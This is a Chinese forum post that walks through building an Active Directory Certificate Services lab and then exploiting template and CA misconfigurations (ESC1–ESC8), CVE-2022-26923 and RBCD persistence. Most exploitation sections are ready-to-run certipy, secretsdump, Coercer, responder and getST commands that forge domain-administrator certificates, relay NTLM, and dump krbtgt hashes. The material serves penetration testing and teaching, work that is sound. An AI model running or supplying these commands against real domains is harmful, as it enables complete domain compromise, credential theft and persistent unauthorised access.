域渗透-ADCS环境搭建及其利用方式
penso**** 发表于 广东 WEB安全 2558浏览 · 2024-02-20 09:19

tips:

搭建问题
快照进去,证书服务器脱机,下载不了证书
https://stealthpuppy.com/resolving-issues-starting-ca-offline-crl/

靶机环境
DC(域控) win2016 AD
192.168.142.20

ADCS证书服务器(辅助域控) ADCS
192.168.142.21

域用户
qxn/Penson@2016yyds

域管权限登录adcs证书服务器安装

辅助域控搭建

设置DSRM还原密码

复制ad

配置角色服务

选择企业ca

一路下一步即可

配置证书注册 web 服务

下一步到这里

等下分配ssl证书

一路下一步即可

ldap特征

ESC1

ESC1是指证书模板允许客户端身份验证并允许登记者提供任意主题备用名称,允许普通用户注册证书,根据存在漏洞的证书模板请求域管证书。

环境搭建

点复制模板

常规那里改为PensonESC1

安全里点高级选择立即查找 选择Domain Users

加进去后,赋予注册权限

使用者名称选择在请求中提供,也就是开启CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT,选择应用

选择创建的新模板

漏洞利用

https://www.adminxe.com/4051.html
假设拿到域账号qxn

certipy find -u qxn@penson.org -p Penson@2016yyds -dc-ip 192.168.142.20 -debug -scheme ldap -stdout -vulnerable //ldaps 没开的话
certipy find -u qxn@penson.org -p Penson@2016yyds -dc-ip 192.168.142.20 -stdout -vulnerable //默认ldaps

请求域管证书
target为ADCS证书服务器的ip,template,ca 要和上面的对的上

certipy req -u qxn@penson.org -p Penson@2016yyds -target 192.168.142.21 -ca penson-ADCS-CA -template PensonESC1 -upn administrator@penson.org

拿TGT

certipy auth -pfx administrator.pfx -dc-ip 192.168.142.21 -scheme ldap  //ldap

certipy auth -pfx administrator.pfx -dc-ip 192.168.142.21 -ldap-shell  //ldaps


导出hash
方式一:
secretsdump.py penson.org/administrator@192.168.142.20 -just-dc-user PENSON/krbtgt -hashes aad3b435b51404eeaad3b435b51404ee:e1342d6f7b624f52d60008e44be76aa4
方式二:
export KRB5CCNAME=administrator.ccache
python3 secretsdump.py -k -no-pass AD.penson.org -just-dc-user krbtgt -target 192.168.142.20 -debug
横向移动
smbexec.py -no-pass -k ad.penson.com

如果secretsdump 报错,同步一下时间

sudo apt install ntpdate
sudo ntpdate 172.16.0.106

这里有些环境需要配一下dns解析,linux方便些,所以采用kali

ESC2

ESC2 是指证书模板可用于任何目的。由于该证书可用于任何目的,因此对于大多数证书模板来说,它可用于与 ESC3 相同的技术。和ESC1差别不大

环境搭建

刚开始和esc1一样

应用程序策略这里写无

和esc1一样在请求中提供就行

颁布

漏洞利用

certipy find -u qxn@penson.org -p Penson@2016yyds -dc-ip 192.168.142.21 -debug -scheme ldap -stdout -vulnerable //ldaps 没开的话
certipy find -u qxn@penson.org -p Penson@2016yyds -dc-ip 192.168.142.21 -stdout -vulnerable //默认ldaps

注册esc2证书

certipy req -u qxn@penson.org -p Penson@2016yyds -ca penson-ADCS-CA -dc-ip 192.168.142.21 -template PensonEsc2 -upn administrator@penson.org -debug

获取TGT 注意要输入真正的域控ip,如果不行就去搞rbcd

certipy auth -pfx administrator.pfx -dc-ip 192.168.142.20

ESC3

ESC3 是指证书模板指定证书请求代理 EKU(注册代理)。该 EKU 可用于代表其他用户请求证书。由此可以去申请域管证书。类似委派s4u2Proxy那样

环境搭建

复制代理注册模板,配置安全和前面一样

这边的策略是证书申请代理

漏洞利用

请求域用户qxn的证书

certipy req -username qxn@penson.org -password Penson@2016yyds -ca penson-ADCS-CA -target ADCS.penson.org -template PensonESC3

请求adminstrator证书

certipy req -u qxn@penson.org -p Penson@2016yyds -ca penson-ADCS-CA -target ADCS.penson.org -template User -on-behalf-of 'PENSON\Administrator' -pfx qxn.pfx

发现被策略模块拒绝

不知道为啥kali环境下可以,欢迎大佬指导

ESC4

ESC4 是指用户对证书模板具有写入权限。会被滥用来覆盖证书模板的配置,使模板容易受到 ESC1 的攻击。通常是先将证书修改为ESC1的利用条件,再利用ESC1去构造

环境搭建

属性为写入

配置发布要求

漏洞利用

将其修改为esc1

certipy template -username qxn@penson.org -password Penson@2016yyds -template PensonESC4 -dc-ip 192.168.142.21 -save-old

然后用esc1的方式去请求证书

certipy req -u qxn@penson.org -p Penson@2016yyds -target 192.168.142.21 -ca penson-ADCS-CA -template PensonESC4 -upn administrator@penson.org

certipy auth -pfx administrator.pfx -dc-ip 192.168.142.20

ESC6

ESC6是CA指定EDITF_ATTRIBUTESUBJECTALTNAME2标志的时候。无论证书模板如何配置,此标志都允许登记者在所有证书上指定任意 SAN。该攻击与 ESC1 相同。

环境搭建

启用EDITF_ATTRIBUTESUBJECALTNAME2

certutil –setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2

重启服务

net stop certsvc && net start certsvc

该攻击与 ESC1 相同,只是您可以选择允许客户端身份验证的任何证书模版

漏洞利用

certipy req -username qxn@penson.org -password Penson@2016yyds -ca penson-ADCS-CA -target 192.168.142.21 -template User -upn administrator@penson.org

certipy auth -pfx administrator.pfx -dc-ip 192.168.142.20

ESC7

ESC7 是指用户拥有CA 的访问权限Manage CA,可以使用它来颁发或拒绝待处理的证书请求。从而请求域管证书

环境搭建

在ADCS服务器上证书颁发机构给User添加权限
在ADCS服务器上证书颁发机构给Users用户添加“颁发和管理证书”,“管理CA”权限

漏洞利用

添加用户到管理员

certipy ca -ca 'penson-ADCS-CA' -add-officer qxn -username qxn@penson.org -password Penson@2016yyds -target 192.168.142.21

SubCA可以使用参数在 CA 上启用该模板-enable-template。默认情况下,SubCA模板已启用

certipy ca -ca 'penson-ADCS-CA' -enable-template SubCA -username qxn@penson.org -password Penson@2016yyds -target 192.168.142.21 -debug

请求证书

certipy req -username qxn@penson.org -password Penson@2016yyds -target 192.168.142.21 -ca penson-ADCS-CA -template SubCA -upn administrator@penson.org

该请求将被拒绝,但我们将保存私钥并记下请求 ID。

再次请求

certipy ca -ca 'penson-ADCS-CA' -issue-request 33 -username qxn@penson.org -password Penson@2016yyds -target 192.168.142.21

最后,我们可以使用req命令和-retrieve <request id="">参数检索颁发的证书。</request>

certipy req -username qxn@penson.org -password Penson@2016yyds -ca penson-ADCS-CA -target 192.168.142.21 -retrieve 33

ESC8

ESC8 是指注册服务已安装并通过 HTTP 启用 Web 注册,从而可以利用NTLM中继。这个实战环境好像挺难,因为需要目标向监听服务器发起请求,内网基本不出网,不知道大佬操作了,估计别的大哥有别的方式。

环境搭建

Iis管理
在ADCS服务中,管理员可以添加基于HTTP的证书注册服务,而这种基于HTTP的证书接口,特别容易受到NTML中继攻击,通过NTML中继攻击,可以窃取任何进行NTML身份认证的AD用户。

选择certSrv 身份认证

漏洞利用

certipy可以直接进行监听,去申请域管的证书

certipy relay -target 'http://192.168.142.21' -template DomainController

使用https://github.com/p0dalirius/Coercer强制身份认证

./Coercer.py coerce -l 192.168.21.101 -t 192.168.142.21 -u 'qxn' -p 'Penson@2016yyds' -d penson.org -v


拿ad.pfx证书去导hash

也可以用responder监听

responder --interface eth0

发起请求

./Coercer.py coerce -l 192.168.21.101 -t 192.168.142.21 -u 'qxn' -p 'Penson@2016yyds' -d penson.org -v

拿到ADCS$的NTLM v2,去爆破解密就行

CVE-2022-26923(ADCS提权漏洞)

Active Directory 域权限提升漏洞(CVE-2022-26963 )允许低权限用户在安装了 Active Directory 证书服务 (AD CS) 服务器角色的默认 Active Directory 环境中将权限提升到域管理员,修改DNSHostname为域控机器即可伪造域控机器申请证书

漏洞利用

先申请低权限账户证书

certipy req -username qxn@penson.org -password Penson@2016yyds -ca penson-ADCS-CA -target 192.168.142.21 -template User

创建机器账户,并把DNSHostname改为域控的DNSHostname

certipy account create -username qxn@penson.org -password Penson@2016yyds -target 192.168.142.21 -user machine1  -dns "AD.penson.org"

获取Machine账户证书

certipy req -username machine1\$@penson.org -password NmfsMZd6cygHXnYM -target 192.168.142.21 -ca penson-ADCS-CA -template Machine

可以发现已经变成ad的证书了

验证证书,拿到机器账户AD$的hash

certipy auth -pfx ad.pfx -dc-ip 192.168.142.20 -debug

secrectdump

secretsdump.py penson.org/ad\$@192.168.142.20 -just-dc-user PENSON/krbtgt -hashes aad3b435b51404eeaad3b435b51404ee:c0032e2567e4f12b7f8ba3e436db4177

权限维持

RBCD(基于资源约束委派)

可以用bloodyAD,也可以用新版的certipy直接添加rbcd进行权限维持
进入ldap-shell

certipy auth -pfx administrator.pfx -dc-ip 192.168.142.20 -ldap-shell
add_computer penson$ penson123 #添加机器账户
set_rbcd AD$ penson$ #添加到AD的基于资源约束委派

请求票据

python3 getST.py -spn cifs/AD.penson.org -impersonate administrator -dc-ip 192.168.142.20 penson.org/penson$:penson123

参考文献
https://forum.butian.net/share/1583
https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc8/
https://cravaterouge.github.io/ad/privesc/2022/05/11/bloodyad-and-CVE-2022-26923.html
https://github.com/ly4k/Certipy

0 条评论
某人
表情
可输入 255